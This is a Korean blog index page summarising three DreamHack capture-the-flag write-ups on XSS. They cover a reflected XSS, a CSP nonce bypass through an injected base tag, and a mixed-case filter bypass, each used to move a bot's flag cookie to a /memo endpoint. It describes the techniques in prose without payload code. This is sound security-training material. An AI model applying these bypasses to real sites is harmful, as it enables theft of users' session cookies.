/vuln이 입력을 이스케이프 없이 그대로 뱉는 reflected XSS. flag를 쿠키로 들고 페이지를 방문하는 봇에게 스크립트를 주입해 document.cookie를 같은 서버의 /memo로 흘려보내고, 그 memo를 직접 읽어 플래그를 회수한 과정을 정리했다.
#dreamhack#ctf#web+5
2026-06-04#dreamhack +4
[🥈 Silver 1] nonce를 몰라도 XSS가 터진다 — DreamHack DOM XSS 풀이
blog

[🥈 Silver 1] nonce를 몰라도 XSS가 터진다 — DreamHack DOM XSS 풀이

CSP가 script-src에 nonce와 strict-dynamic을 걸어 인라인 스크립트도 onerror도 다 막는다. nonce는 매 응답마다 회전해서 값을 훔칠 수도 없다. 하지만 원시 HTML 주입점이 nonce가 붙은 jquery 스크립트보다 앞에 있어서, base 태그로 그 스크립트의 로드 origin을 내 서버로 돌려버리면 nonce 값을 몰라도 이미 붙은 nonce를 재활용해 내 JS가 실행된다. document.cookie를 동일출처 /memo에 적재해 회수했다.
#dreamhack#ctf#web+6
2026-07-12#dreamhack +4
[🥉 Bronze 2] 대소문자 한 끗으로 뚫는 XSS 필터 — DreamHack XSS Filtering Bypass 풀이
blog

[🥉 Bronze 2] 대소문자 한 끗으로 뚫는 XSS 필터 — DreamHack XSS Filtering Bypass 풀이

script·on·javascript: 를 지우는 필터가 있는데도, 검사는 소문자로 하고 치환은 원본 그대로 한다는 한 줄 차이 때문에 <sCrIpt> 가 그대로 살아남는다. 봇이 들고 방문하는 flag 쿠키를 동기 XHR로 /memo에 흘려 회수한 과정을 정리했다. location.href 비동기 전송이 driver.quit 레이스에 걸려 실패했던 삽질까지 담았다.
#dreamhack#ctf#web+6
2026-06-26#dreamhack +4